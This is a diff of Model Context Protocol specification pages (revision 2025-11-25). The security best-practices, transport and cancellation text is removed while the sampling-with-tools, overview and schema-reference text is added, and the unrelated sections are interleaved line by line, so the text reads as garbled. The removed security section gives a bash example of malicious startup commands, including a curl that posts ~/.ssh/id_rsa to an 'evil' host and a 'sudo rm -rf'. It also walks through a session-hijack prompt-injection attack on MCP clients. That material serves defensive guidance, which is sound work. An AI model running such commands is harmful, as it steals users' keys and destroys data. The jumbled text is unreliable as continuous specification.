+When using tool use in sampling, every assistant message containing `ToolUseContent` blocks **MUST** be followed by a user message that consists entirely of `ToolResultContent` blocks, with each tool use (e.g. with `id: $id`) matched by a corresponding tool result (with `toolUseId: $id`), before any other message. -#### Attack Description +This requirement ensures: -When you have multiple stateful HTTP servers that handle MCP requests, the following attack vectors are possible: +* Tool uses are always resolved before the conversation continues +* Provider APIs can concurrently process multiple tool uses and fetch their results in parallel +* The conversation maintains a consistent request-response pattern -**Session Hijack Prompt Injection** +**Example valid sequence:** -1. The client connects to **Server A** and receives a session ID. +1. User message: "What's the weather like in Paris and London?" +2. Assistant message: `ToolUseContent` (`id: "call_abc123", name: "get_weather", input: {city: "Paris"}`) + `ToolUseContent` (`id: "call_def456", name: "get_weather", input: {city: "London"}`) +3. User message: `ToolResultContent` (`toolUseId: "call_abc123", content: "18°C, partly cloudy"`) + `ToolResultContent` (`toolUseId: "call_def456", content: "15°C, rainy"`) +4. Assistant message: Text response comparing the weather in both cities -2. The attacker obtains an existing session ID and sends a malicious event to **Server B** with said session ID. - * When a server supports [redelivery/resumable streams](/specification/2025-11-25/basic/transports#resumability-and-redelivery), deliberately terminating the request before receiving the response could lead to it being resumed by the original client via the GET request for server sent events. - * If a particular server initiates server sent events as a consequence of a tool call such as a `notifications/tools/list_changed`, where it is possible to affect the tools that are offered by the server, a client could end up with tools that they were not aware were enabled. +**Invalid sequence - missing tool result:** -3. **Server B** enqueues the event (associated with session ID) into a shared queue. +1. User message: "What's the weather like in Paris and London?" +2. Assistant message: `ToolUseContent` (`id: "call_abc123", name: "get_weather", input: {city: "Paris"}`) + `ToolUseContent` (`id: "call_def456", name: "get_weather", input: {city: "London"}`) +3. User message: `ToolResultContent` (`toolUseId: "call_abc123", content: "18°C, partly cloudy"`) ← Missing result for call\_def456 +4. Assistant message: Text response (invalid - not all tool uses were resolved) -4. **Server A** polls the queue for events using the session ID and retrieves the malicious payload. +## Cross-API Compatibility -5. **Server A** sends the malicious payload to the client as an asynchronous or resumed response. +The sampling specification is designed to work across multiple LLM provider APIs (Claude, OpenAI, Gemini, etc.). Key design decisions for compatibility: -6. The client receives and acts on the malicious payload, leading to potential compromise. +### Message Roles -**Session Hijack Impersonation** +MCP uses two roles: "user" and "assistant". -1. The MCP client authenticates with the MCP server, creating a persistent session ID. -2. The attacker obtains the session ID. -3. The attacker makes calls to the MCP server using the session ID. -4. MCP server does not check for additional authorization and treats the attacker as a legitimate user, allowing unauthorized access or actions. +Tool use requests are sent in CreateMessageResult with the "assistant" role. +Tool results are sent back in messages with the "user" role. +Messages with tool results cannot contain other kinds of content. -#### Mitigation +### Tool Choice Modes -To prevent session hijacking and event injection attacks, the following mitigations should be implemented: +`CreateMessageRequest.params.toolChoice` controls the tool use ability of the model: -MCP servers that implement authorization **MUST** verify all inbound requests. -MCP Servers **MUST NOT** use sessions for authentication. +* `{mode: "auto"}`: Model decides whether to use tools (default) +* `{mode: "required"}`: Model MUST use at least one tool before completing +* `{mode: "none"}`: Model MUST NOT use any tools -MCP servers **MUST** use secure, non-deterministic session IDs. -Generated session IDs (e.g., UUIDs) **SHOULD** use secure random number generators. Avoid predictable or sequential session identifiers that could be guessed by an attacker. Rotating or expiring session IDs can also reduce the risk. +### Parallel Tool Use -MCP servers **SHOULD** bind session IDs to user-specific information. -When storing or transmitting session-related data (e.g., in a queue), combine the session ID with information unique to the authorized user, such as their internal user ID. Use a key format like `:`. This ensures that even if an attacker guesses a session ID, they cannot impersonate another user as the user ID is derived from the user token and not provided by the client. +MCP allows models to make multiple tool use requests in parallel (returning an array of `ToolUseContent`). All major provider APIs support this: -MCP servers can optionally leverage additional unique identifiers. +* **Claude**: Supports parallel tool use natively +* **OpenAI**: Supports parallel tool calls (can be disabled with `parallel_tool_calls: false`) +* **Gemini**: Supports parallel function calls natively -### Local MCP Server Compromise +Implementations wrapping providers that support disabling parallel tool use MAY expose this as an extension, but it is not part of the core MCP specification. -Local MCP servers are MCP Servers running on a user's local machine, either by the user downloading and executing a server, authoring a server themselves, or installing through a client's configuration flows. These servers may have direct access to the user's system and may be accessible to other processes running on the user's machine, making them attractive targets for attacks. +## Message Flow -#### Attack Description +```mermaid theme={null} +sequenceDiagram + participant Server + participant Client + participant User + participant LLM -Local MCP servers are binaries that are downloaded and executed on the same machine as the MCP client. Without proper sandboxing and consent requirements in place, the following attacks become possible: + Note over Server,Client: Server initiates sampling + Server->>Client: sampling/createMessage -1. An attacker includes a malicious "startup" command in a client configuration -2. An attacker distributes a malicious payload inside the server itself -3. An attacker accesses an insecure local server that's left running on localhost via DNS rebinding + Note over Client,User: Human-in-the-loop review + Client->>User: Present request for approval + User-->>Client: Review and approve/modify -Example malicious startup commands that could be embedded: + Note over Client,LLM: Model interaction + Client->>LLM: Forward approved request + LLM-->>Client: Return generation -```bash theme={null} -# Data exfiltration -npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location + Note over Client,User: Response review + Client->>User: Present response for approval + User-->>Client: Review and approve/modify -# Privilege escalation -sudo rm -rf /important/system/files && echo "MCP server installed!" + Note over Server,Client: Complete request + Client-->>Server: Return approved response ``` -#### Risks - -Local MCP servers with inadequate restrictions or from untrusted sources introduce several critical security risks: +## Data Types -* **Arbitrary code execution**. Attackers can execute any command with MCP client privileges. -* **No visibility**. Users have no insight into what commands are being executed. -* **Command obfuscation**. Malicious actors can use complex or convoluted commands to appear legitimate. -* **Data exfiltration**. Attackers can access legitimate local MCP servers via compromised javascript. -* **Data loss**. Attackers or bugs in legitimate servers could lead to irrecoverable data loss on the host machine. +### Messages -#### Mitigation +Sampling messages can contain: -If an MCP client supports one-click local MCP server configuration, it **MUST** implement proper consent mechanisms prior to executing commands. +#### Text Content -**Pre-Configuration Consent** +```json theme={null} +{ + "type": "text", + "text": "The message content" +} +``` -Display a clear consent dialog before connecting a new local MCP server via one-click configuration. The MCP client **MUST**: +#### Image Content -* Show the exact command that will be executed, without truncation (include arguments and parameters) -* Clearly identify it as a potentially dangerous operation that executes code on the user's system -* Require explicit user approval before proceeding -* Allow users to cancel the configuration +```json theme={null} +{ + "type": "image", + "data": "base64-encoded-image-data", + "mimeType": "image/jpeg" +} +``` -The MCP client **SHOULD** implement additional checks and guardrails to mitigate potential code execution attack vectors: +#### Audio Content -* Highlight potentially dangerous command patterns (e.g., commands containing `sudo`, `rm -rf`, network operations, file system access outside expected directories) -* Display warnings for commands that access sensitive locations (home directory, SSH keys, system directories) -* Warn that MCP servers run with the same privileges as the client -* Execute MCP server commands in a sandboxed environment with minimal default privileges -* Launch MCP servers with restricted access to the file system, network, and other system resources -* Provide mechanisms for users to explicitly grant additional privileges (e.g., specific directory access, network access) when needed -* Use platform-appropriate sandboxing technologies (containers, chroot, application sandboxes, etc.) +```json theme={null} +{ + "type": "audio", + "data": "base64-encoded-audio-data", + "mimeType": "audio/wav" +} +``` -MCP servers intending for their servers to be run locally **SHOULD** implement measures to prevent unauthorized usage from malicious processes: +### Model Preferences -* Use the `stdio` transport to limit access to just the MCP client -* Restrict access if using an HTTP transport, such as: - * Require an authorization token - * Use unix domain sockets or other Interprocess Communication (IPC) mechanisms with restricted access +Model selection in MCP requires careful abstraction since servers and clients may use +different AI providers with distinct model offerings. A server cannot simply request a +specific model by name since the client may not have access to that exact model or may +prefer to use a different provider's equivalent model. -### Scope Minimization +To solve this, MCP implements a preference system that combines abstract capability +priorities with optional model hints: -Poor scope design increases token compromise impact, elevates user friction, and obscures audit trails. +#### Capability Priorities -#### Attack Description +Servers express their needs through three normalized priority values (0-1): -An attacker obtains (via log leakage, memory scraping, or local interception) an access token carrying broad scopes (`files:*`, `db:*`, `admin:*`) that were granted up front because the MCP server exposed every scope in `scopes_supported` and the client requested them all. The token enables lateral data access, privilege chaining, and difficult revocation without re-consenting the entire surface. +* `costPriority`: How important is minimizing costs? Higher values prefer cheaper models. +* `speedPriority`: How important is low latency? Higher values prefer faster models. +* `intelligencePriority`: How important are advanced capabilities? Higher values prefer + more capable models. -#### Risks +#### Model Hints -* Expanded blast radius: stolen broad token enables unrelated tool/resource access -* Higher friction on revocation: revoking a max-privilege token disrupts all workflows -* Audit noise: single omnibus scope masks user intent per operation -* Privilege chaining: attacker can immediately invoke high-risk tools without further elevation prompts -* Consent abandonment: users decline dialogs listing excessive scopes -* Scope inflation blindness: lack of metrics makes over-broad requests normalised +While priorities help select models based on characteristics, `hints` allow servers to +suggest specific models or model families: -#### Mitigation +* Hints are treated as substrings that can match model names flexibly +* Multiple hints are evaluated in order of preference +* Clients **MAY** map hints to equivalent models from different providers +* Hints are advisory—clients make final model selection -Implement a progressive, least-privilege scope model: +For example: -* Minimal initial scope set (e.g., `mcp:tools-basic`) containing only low-risk discovery/read operations -* Incremental elevation via targeted `WWW-Authenticate` `scope="..."` challenges when privileged operations are first attempted -* Down-scoping tolerance: server should accept reduced scope tokens; auth server MAY issue a subset of requested scopes +```json theme={null} +{ + "hints": [ + { "name": "claude-3-sonnet" }, // Prefer Sonnet-class models + { "name": "claude" } // Fall back to any Claude model + ], + "costPriority": 0.3, // Cost is less important + "speedPriority": 0.8, // Speed is very important + "intelligencePriority": 0.5 // Moderate capability needs +} +``` -Server guidance: +The client processes these preferences to select an appropriate model from its available +options. For instance, if the client doesn't have access to Claude models but has Gemini, +it might map the sonnet hint to `gemini-1.5-pro` based on similar capabilities. -* Emit precise scope challenges; avoid returning the full catalog -* Log elevation events (scope requested, granted subset) with correlation IDs +## Error Handling -Client guidance: +Clients **SHOULD** return errors for common failure cases: -* Begin with only baseline scopes (or those specified by initial `WWW-Authenticate`) -* Cache recent failures to avoid repeated elevation loops for denied scopes +* User rejected sampling request: `-1` +* Tool result missing in request: `-32602` (Invalid params) +* Tool results mixed with other content: `-32602` (Invalid params) -#### Common Mistakes +Example errors: -* Publishing all possible scopes in `scopes_supported` -* Using wildcard or omnibus scopes (`*`, `all`, `full-access`) -* Bundling unrelated privileges to preempt future prompts -* Returning entire scope catalog in every challenge -* Silent scope semantic changes without versioning -* Treating claimed scopes in token as sufficient without server-side authorization logic +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 3, + "error": { + "code": -1, + "message": "User rejected sampling request" + } +} +``` -Proper minimization constrains compromise impact, improves audit clarity, and reduces consent churn. +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 4, + "error": { + "code": -32602, + "message": "Tool result missing in request" + } +} +``` +## Security Considerations -# Transports -Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/transports +1. Clients **SHOULD** implement user approval controls +2. Both parties **SHOULD** validate message content +3. Clients **SHOULD** respect model preference hints +4. Clients **SHOULD** implement rate limiting +5. Both parties **MUST** handle sensitive data appropriately +When tools are used in sampling, additional security considerations apply: +6. Servers **MUST** ensure that when replying to a `stopReason: "toolUse"`, each `ToolUseContent` item is responded to with a `ToolResultContent` item with a matching `toolUseId`, and that the user message contains only tool results (no other content types) +7. Both parties **SHOULD** implement iteration limits for tool loops -
-**Protocol Revision**: 2025-11-25 +# Specification +Source: https://modelcontextprotocol.io/specification/2025-11-25/index -MCP uses JSON-RPC to encode messages. JSON-RPC messages **MUST** be UTF-8 encoded. -The protocol currently defines two standard transport mechanisms for client-server -communication: -1. [stdio](#stdio), communication over standard in and standard out -2. [Streamable HTTP](#streamable-http) +
-Clients **SHOULD** support stdio whenever possible. +[Model Context Protocol](https://modelcontextprotocol.io) (MCP) is an open protocol that +enables seamless integration between LLM applications and external data sources and +tools. Whether you're building an AI-powered IDE, enhancing a chat interface, or creating +custom AI workflows, MCP provides a standardized way to connect LLMs with the context +they need. -It is also possible for clients and servers to implement -[custom transports](#custom-transports) in a pluggable fashion. +This specification defines the authoritative protocol requirements, based on the +TypeScript schema in +[schema.ts](https://github.com/modelcontextprotocol/specification/blob/main/schema/2025-11-25/schema.ts). -## stdio +For implementation guides and examples, visit +[modelcontextprotocol.io](https://modelcontextprotocol.io). -In the **stdio** transport: +The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD +NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be +interpreted as described in [BCP 14](https://datatracker.ietf.org/doc/html/bcp14) +\[[RFC2119](https://datatracker.ietf.org/doc/html/rfc2119)] +\[[RFC8174](https://datatracker.ietf.org/doc/html/rfc8174)] when, and only when, they +appear in all capitals, as shown here. -* The client launches the MCP server as a subprocess. -* The server reads JSON-RPC messages from its standard input (`stdin`) and sends messages - to its standard output (`stdout`). -* Messages are individual JSON-RPC requests, notifications, or responses. -* Messages are delimited by newlines, and **MUST NOT** contain embedded newlines. -* The server **MAY** write UTF-8 strings to its standard error (`stderr`) for any - logging purposes including informational, debug, and error messages. -* The client **MAY** capture, forward, or ignore the server's `stderr` output - and **SHOULD NOT** assume `stderr` output indicates error conditions. -* The server **MUST NOT** write anything to its `stdout` that is not a valid MCP message. -* The client **MUST NOT** write anything to the server's `stdin` that is not a valid MCP - message. +## Overview -```mermaid theme={null} -sequenceDiagram - participant Client - participant Server Process +MCP provides a standardized way for applications to: - Client->>+Server Process: Launch subprocess - loop Message Exchange - Client->>Server Process: Write to stdin - Server Process->>Client: Write to stdout - Server Process--)Client: Optional logs on stderr - end - Client->>Server Process: Close stdin, terminate subprocess - deactivate Server Process -``` +* Share contextual information with language models +* Expose tools and capabilities to AI systems +* Build composable integrations and workflows -## Streamable HTTP +The protocol uses [JSON-RPC](https://www.jsonrpc.org/) 2.0 messages to establish +communication between: - - This replaces the [HTTP+SSE - transport](/specification/2024-11-05/basic/transports#http-with-sse) from - protocol version 2024-11-05. See the [backwards compatibility](#backwards-compatibility) - guide below. - +* **Hosts**: LLM applications that initiate connections +* **Clients**: Connectors within the host application +* **Servers**: Services that provide context and capabilities -In the **Streamable HTTP** transport, the server operates as an independent process that -can handle multiple client connections. This transport uses HTTP POST and GET requests. -Server can optionally make use of -[Server-Sent Events](https://en.wikipedia.org/wiki/Server-sent_events) (SSE) to stream -multiple server messages. This permits basic MCP servers, as well as more feature-rich -servers supporting streaming and server-to-client notifications and requests. +MCP takes some inspiration from the +[Language Server Protocol](https://microsoft.github.io/language-server-protocol/), which +standardizes how to add support for programming languages across a whole ecosystem of +development tools. In a similar way, MCP standardizes how to integrate additional context +and tools into the ecosystem of AI applications. -The server **MUST** provide a single HTTP endpoint path (hereafter referred to as the -**MCP endpoint**) that supports both POST and GET methods. For example, this could be a -URL like `https://example.com/mcp`. +## Key Details -#### Security Warning +### Base Protocol -When implementing Streamable HTTP transport: +* [JSON-RPC](https://www.jsonrpc.org/) message format +* Stateful connections +* Server and client capability negotiation -1. Servers **MUST** validate the `Origin` header on all incoming connections to prevent DNS rebinding attacks - * If the `Origin` header is present and invalid, servers **MUST** respond with HTTP 403 Forbidden. The HTTP response - body **MAY** comprise a JSON-RPC *error response* that has no `id` -2. When running locally, servers **SHOULD** bind only to localhost (127.0.0.1) rather than all network interfaces (0.0.0.0) -3. Servers **SHOULD** implement proper authentication for all connections +### Features -Without these protections, attackers could use DNS rebinding to interact with local MCP servers from remote websites. +Servers offer any of the following features to clients: -### Sending Messages to the Server +* **Resources**: Context and data, for the user or the AI model to use +* **Prompts**: Templated messages and workflows for users +* **Tools**: Functions for the AI model to execute -Every JSON-RPC message sent from the client **MUST** be a new HTTP POST request to the -MCP endpoint. +Clients may offer the following features to servers: -1. The client **MUST** use HTTP POST to send JSON-RPC messages to the MCP endpoint. -2. The client **MUST** include an `Accept` header, listing both `application/json` and - `text/event-stream` as supported content types. -3. The body of the POST request **MUST** be a single JSON-RPC *request*, *notification*, or *response*. -4. If the input is a JSON-RPC *response* or *notification*: - * If the server accepts the input, the server **MUST** return HTTP status code 202 - Accepted with no body. - * If the server cannot accept the input, it **MUST** return an HTTP error status code - (e.g., 400 Bad Request). The HTTP response body **MAY** comprise a JSON-RPC *error - response* that has no `id`. -5. If the input is a JSON-RPC *request*, the server **MUST** either - return `Content-Type: text/event-stream`, to initiate an SSE stream, or - `Content-Type: application/json`, to return one JSON object. The client **MUST** - support both these cases. -6. If the server initiates an SSE stream: - * The server **SHOULD** immediately send an SSE event consisting of an event - ID and an empty `data` field in order to prime the client to reconnect - (using that event ID as `Last-Event-ID`). - * After the server has sent an SSE event with an event ID to the client, the - server **MAY** close the *connection* (without terminating the *SSE stream*) - at any time in order to avoid holding a long-lived connection. The client - **SHOULD** then "poll" the SSE stream by attempting to reconnect. - * If the server does close the *connection* prior to terminating the *SSE stream*, - it **SHOULD** send an SSE event with a standard [`retry`](https://html.spec.whatwg.org/multipage/server-sent-events.html#:~:text=field%20name%20is%20%22retry%22) field before - closing the connection. The client **MUST** respect the `retry` field, - waiting the given number of milliseconds before attempting to reconnect. - * The SSE stream **SHOULD** eventually include a JSON-RPC *response* for the - JSON-RPC *request* sent in the POST body. - * The server **MAY** send JSON-RPC *requests* and *notifications* before sending the - JSON-RPC *response*. These messages **SHOULD** relate to the originating client - *request*. - * The server **MAY** terminate the SSE stream if the [session](#session-management) - expires. - * After the JSON-RPC *response* has been sent, the server **SHOULD** terminate the - SSE stream. - * Disconnection **MAY** occur at any time (e.g., due to network conditions). - Therefore: - * Disconnection **SHOULD NOT** be interpreted as the client cancelling its request. - * To cancel, the client **SHOULD** explicitly send an MCP `CancelledNotification`. - * To avoid message loss due to disconnection, the server **MAY** make the stream - [resumable](#resumability-and-redelivery). +* **Sampling**: Server-initiated agentic behaviors and recursive LLM interactions +* **Roots**: Server-initiated inquiries into URI or filesystem boundaries to operate in +* **Elicitation**: Server-initiated requests for additional information from users -### Listening for Messages from the Server +### Additional Utilities -1. The client **MAY** issue an HTTP GET to the MCP endpoint. This can be used to open an - SSE stream, allowing the server to communicate to the client, without the client first - sending data via HTTP POST. -2. The client **MUST** include an `Accept` header, listing `text/event-stream` as a - supported content type. -3. The server **MUST** either return `Content-Type: text/event-stream` in response to - this HTTP GET, or else return HTTP 405 Method Not Allowed, indicating that the server - does not offer an SSE stream at this endpoint. -4. If the server initiates an SSE stream: - * The server **MAY** send JSON-RPC *requests* and *notifications* on the stream. - * These messages **SHOULD** be unrelated to any concurrently-running JSON-RPC - *request* from the client. - * The server **MUST NOT** send a JSON-RPC *response* on the stream **unless** - [resuming](#resumability-and-redelivery) a stream associated with a previous client - request. - * The server **MAY** close the SSE stream at any time. - * If the server closes the *connection* without terminating the *stream*, it - **SHOULD** follow the same polling behavior as described for POST requests: - sending a `retry` field and allowing the client to reconnect. - * The client **MAY** close the SSE stream at any time. +* Configuration +* Progress tracking +* Cancellation +* Error reporting +* Logging -### Multiple Connections +## Security and Trust & Safety -1. The client **MAY** remain connected to multiple SSE streams simultaneously. -2. The server **MUST** send each of its JSON-RPC messages on only one of the connected - streams; that is, it **MUST NOT** broadcast the same message across multiple streams. - * The risk of message loss **MAY** be mitigated by making the stream - [resumable](#resumability-and-redelivery). +The Model Context Protocol enables powerful capabilities through arbitrary data access +and code execution paths. With this power comes important security and trust +considerations that all implementors must carefully address. -### Resumability and Redelivery +### Key Principles -To support resuming broken connections, and redelivering messages that might otherwise be -lost: +1. **User Consent and Control** + * Users must explicitly consent to and understand all data access and operations + * Users must retain control over what data is shared and what actions are taken + * Implementors should provide clear UIs for reviewing and authorizing activities -1. Servers **MAY** attach an `id` field to their SSE events, as described in the - [SSE standard](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation). - * If present, the ID **MUST** be globally unique across all streams within that - [session](#session-management)—or all streams with that specific client, if session - management is not in use. - * Event IDs **SHOULD** encode sufficient information to identify the originating - stream, enabling the server to correlate a `Last-Event-ID` to the correct stream. -2. If the client wishes to resume after a disconnection (whether due to network failure - or server-initiated closure), it **SHOULD** issue an HTTP GET to the MCP endpoint, - and include the - [`Last-Event-ID`](https://html.spec.whatwg.org/multipage/server-sent-events.html#the-last-event-id-header) - header to indicate the last event ID it received. - * The server **MAY** use this header to replay messages that would have been sent - after the last event ID, *on the stream that was disconnected*, and to resume the - stream from that point. - * The server **MUST NOT** replay messages that would have been delivered on a - different stream. - * This mechanism applies regardless of how the original stream was initiated (via - POST or GET). Resumption is always via HTTP GET with `Last-Event-ID`. +2. **Data Privacy** + * Hosts must obtain explicit user consent before exposing user data to servers + * Hosts must not transmit resource data elsewhere without user consent + * User data should be protected with appropriate access controls -In other words, these event IDs should be assigned by servers on a *per-stream* basis, to -act as a cursor within that particular stream. +3. **Tool Safety** + * Tools represent arbitrary code execution and must be treated with appropriate + caution. + * In particular, descriptions of tool behavior such as annotations should be + considered untrusted, unless obtained from a trusted server. + * Hosts must obtain explicit user consent before invoking any tool + * Users should understand what each tool does before authorizing its use -### Session Management +4. **LLM Sampling Controls** + * Users must explicitly approve any LLM sampling requests + * Users should control: + * Whether sampling occurs at all + * The actual prompt that will be sent + * What results the server can see + * The protocol intentionally limits server visibility into prompts -An MCP "session" consists of logically related interactions between a client and a -server, beginning with the [initialization phase](/specification/2025-11-25/basic/lifecycle). To support -servers which want to establish stateful sessions: +### Implementation Guidelines -1. A server using the Streamable HTTP transport **MAY** assign a session ID at - initialization time, by including it in an `MCP-Session-Id` header on the HTTP - response containing the `InitializeResult`. - * The session ID **SHOULD** be globally unique and cryptographically secure (e.g., a - securely generated UUID, a JWT, or a cryptographic hash). - * The session ID **MUST** only contain visible ASCII characters (ranging from 0x21 to - 0x7E). - * The client **MUST** handle the session ID in a secure manner, see [Session Hijacking mitigations](/specification/2025-11-25/basic/security_best_practices#session-hijacking) for more details. -2. If an `MCP-Session-Id` is returned by the server during initialization, clients using - the Streamable HTTP transport **MUST** include it in the `MCP-Session-Id` header on - all of their subsequent HTTP requests. - * Servers that require a session ID **SHOULD** respond to requests without an - `MCP-Session-Id` header (other than initialization) with HTTP 400 Bad Request. -3. The server **MAY** terminate the session at any time, after which it **MUST** respond - to requests containing that session ID with HTTP 404 Not Found. -4. When a client receives HTTP 404 in response to a request containing an - `MCP-Session-Id`, it **MUST** start a new session by sending a new `InitializeRequest` - without a session ID attached. -5. Clients that no longer need a particular session (e.g., because the user is leaving - the client application) **SHOULD** send an HTTP DELETE to the MCP endpoint with the - `MCP-Session-Id` header, to explicitly terminate the session. - * The server **MAY** respond to this request with HTTP 405 Method Not Allowed, - indicating that the server does not allow clients to terminate sessions. +While MCP itself cannot enforce these security principles at the protocol level, +implementors **SHOULD**: -### Sequence Diagram +1. Build robust consent and authorization flows into their applications +2. Provide clear documentation of security implications +3. Implement appropriate access controls and data protections +4. Follow security best practices in their integrations +5. Consider privacy implications in their feature designs -```mermaid theme={null} -sequenceDiagram - participant Client - participant Server +## Learn More - note over Client, Server: initialization +Explore the detailed specification for each protocol component: - Client->>+Server: POST InitializeRequest - Server->>-Client: InitializeResponse
MCP-Session-Id: 1868a90c... + + - Client->>+Server: POST InitializedNotification
MCP-Session-Id: 1868a90c... - Server->>-Client: 202 Accepted + - note over Client, Server: client requests - Client->>+Server: POST ... request ...
MCP-Session-Id: 1868a90c... + - alt single HTTP response - Server->>Client: ... response ... - else server opens SSE stream - loop while connection remains open - Server-)Client: ... SSE messages from server ... - end - Server-)Client: SSE event: ... response ... - end - deactivate Server + - note over Client, Server: client notifications/responses - Client->>+Server: POST ... notification/response ...
MCP-Session-Id: 1868a90c... - Server->>-Client: 202 Accepted + +
- note over Client, Server: server requests - Client->>+Server: GET
MCP-Session-Id: 1868a90c... - loop while connection remains open - Server-)Client: ... SSE messages from server ... - end - deactivate Server -``` +# Schema Reference +Source: https://modelcontextprotocol.io/specification/2025-11-25/schema -### Protocol Version Header -If using HTTP, the client **MUST** include the `MCP-Protocol-Version: ` HTTP header on all subsequent requests to the MCP -server, allowing the MCP server to respond based on the MCP protocol version. -For example: `MCP-Protocol-Version: 2025-11-25` +
-The protocol version sent by the client **SHOULD** be the one [negotiated during -initialization](/specification/2025-11-25/basic/lifecycle#version-negotiation). +## JSON-RPC -For backwards compatibility, if the server does *not* receive an `MCP-Protocol-Version` -header, and has no other way to identify the version - for example, by relying on the -protocol version negotiated during initialization - the server **SHOULD** assume protocol -version `2025-03-26`. +
+ ### `JSONRPCErrorResponse` -If the server receives a request with an invalid or unsupported -`MCP-Protocol-Version`, it **MUST** respond with `400 Bad Request`. +
interface JSONRPCErrorResponse \{
  jsonrpc: "2.0";
  id?: RequestId;
  error: Error;
}

A response to a request that indicates an error occurred.

jsonrpc: "2.0"
id?: RequestId
error: Error
+
-### Backwards Compatibility +
+ ### `JSONRPCMessage` -Clients and servers can maintain backwards compatibility with the deprecated [HTTP+SSE -transport](/specification/2024-11-05/basic/transports#http-with-sse) (from -protocol version 2024-11-05) as follows: +

Refers to any valid JSON-RPC object that can be decoded off the wire, or encoded to be sent.

+
-**Servers** wanting to support older clients should: +
+ ### `JSONRPCNotification` -* Continue to host both the SSE and POST endpoints of the old transport, alongside the - new "MCP endpoint" defined for the Streamable HTTP transport. - * It is also possible to combine the old POST endpoint and the new MCP endpoint, but - this may introduce unneeded complexity. +
interface JSONRPCNotification \{
  method: string;
  params?: \{ \[key: string]: any };
  jsonrpc: "2.0";
}

A notification which does not expect a response.

method: string
params?: \{ \[key: string]: any }
jsonrpc: "2.0"
+
-**Clients** wanting to support older servers should: +
+ ### `JSONRPCRequest` -1. Accept an MCP server URL from the user, which may point to either a server using the - old transport or the new transport. -2. Attempt to POST an `InitializeRequest` to the server URL, with an `Accept` header as - defined above: - * If it succeeds, the client can assume this is a server supporting the new Streamable - HTTP transport. - * If it fails with the following HTTP status codes "400 Bad Request", "404 Not - Found" or "405 Method Not Allowed": - * Issue a GET request to the server URL, expecting that this will open an SSE stream - and return an `endpoint` event as the first event. - * When the `endpoint` event arrives, the client can assume this is a server running - the old HTTP+SSE transport, and should use that transport for all subsequent - communication. +
interface JSONRPCRequest \{
  method: string;
  params?: \{ \[key: string]: any };
  jsonrpc: "2.0";
  id: RequestId;
}

A request that expects a response.

method: string
params?: \{ \[key: string]: any }
jsonrpc: "2.0"
id: RequestId
+
-## Custom Transports +
+ ### `JSONRPCResponse` -Clients and servers **MAY** implement additional custom transport mechanisms to suit -their specific needs. The protocol is transport-agnostic and can be implemented over any -communication channel that supports bidirectional message exchange. +

A response to a request, containing either the result or error.

+
-Implementers who choose to support custom transports **MUST** ensure they preserve the -JSON-RPC message format and lifecycle requirements defined by MCP. Custom transports -**SHOULD** document their specific connection establishment and message exchange patterns -to aid interoperability. +
+ ### `JSONRPCResultResponse` +
interface JSONRPCResultResponse \{
  jsonrpc: "2.0";
  id: RequestId;
  result: Result;
}

A successful (non-error) response to a request.

jsonrpc: "2.0"
id: RequestId
result: Result
+
-# Cancellation -Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/utilities/cancellation +## Common Types +
+ ### `Annotations` +
interface Annotations \{
  audience?: Role\[];
  priority?: number;
  lastModified?: string;
}

Optional annotations for the client. The client can use annotations to inform how objects are used or displayed

audience?: Role\[]

Describes who the intended audience of this object or data is.

It can include multiple entries to indicate content useful for multiple audiences (e.g., \["user", "assistant"]).

priority?: number

Describes how important this data is for operating the server.

A value of 1 means "most important," and indicates that the data is + effectively required, while 0 means "least important," and indicates that + the data is entirely optional.

lastModified?: string

The moment the resource was last modified, as an ISO 8601 formatted string.

Should be an ISO 8601 formatted string (e.g., "2025-01-12T15:00:58Z").

Examples: last activity timestamp in an open file, timestamp when the resource + was attached, etc.

+
-
+
+ ### `Cursor` -**Protocol Revision**: 2025-11-25 +
Cursor: string

An opaque token used to represent a cursor for pagination.

+
-The Model Context Protocol (MCP) supports optional cancellation of in-progress requests -through notification messages. Either side can send a cancellation notification to -indicate that a previously-issued request should be terminated. +
+ ### `EmptyResult` -## Cancellation Flow +
EmptyResult: Result

A response that indicates success but carries no data.

+
-When a party wants to cancel an in-progress request, it sends a `notifications/cancelled` -notification containing: +
+ ### `Error` -* The ID of the request to cancel -* An optional reason string that can be logged or displayed +
interface Error \{
  code: number;
  message: string;
  data?: unknown;
}
code: number

The error type that occurred.

message: string

A short description of the error. The message SHOULD be limited to a concise single sentence.

data?: unknown

Additional information about the error. The value of this member is defined by the sender (e.g. detailed error information, nested errors etc.).

+
-```json theme={null} -{ - "jsonrpc": "2.0", - "method": "notifications/cancelled", - "params": { - "requestId": "123", - "reason": "User requested cancellation" - } -} -``` +
+ ### `Icon` -## Behavior Requirements +
interface Icon \{
  src: string;
  mimeType?: string;
  sizes?: string\[];
  theme?: "light" | "dark";
}

An optionally-sized icon that can be displayed in a user interface.

src: string

A standard URI pointing to an icon resource. May be an HTTP/HTTPS URL or a data: URI with Base64-encoded image data.

Consumers SHOULD takes steps to ensure URLs serving icons are from the + same domain as the client/server or a trusted domain.

Consumers SHOULD take appropriate precautions when consuming SVGs as they can contain + executable JavaScript.

mimeType?: string

Optional MIME type override if the source MIME type is missing or generic. + For example: "image/png", "image/jpeg", or "image/svg+xml".

sizes?: string\[]

Optional array of strings that specify sizes at which the icon can be used. + Each string should be in WxH format (e.g., "48x48", "96x96") or "any" for scalable formats like SVG.

If not provided, the client should assume that the icon can be used at any size.

theme?: "light" | "dark"

Optional specifier for the theme this icon is designed for. light indicates + the icon is designed to be used with a light background, and dark indicates + the icon is designed to be used with a dark background.

If not provided, the client should assume the icon can be used with any theme.

+
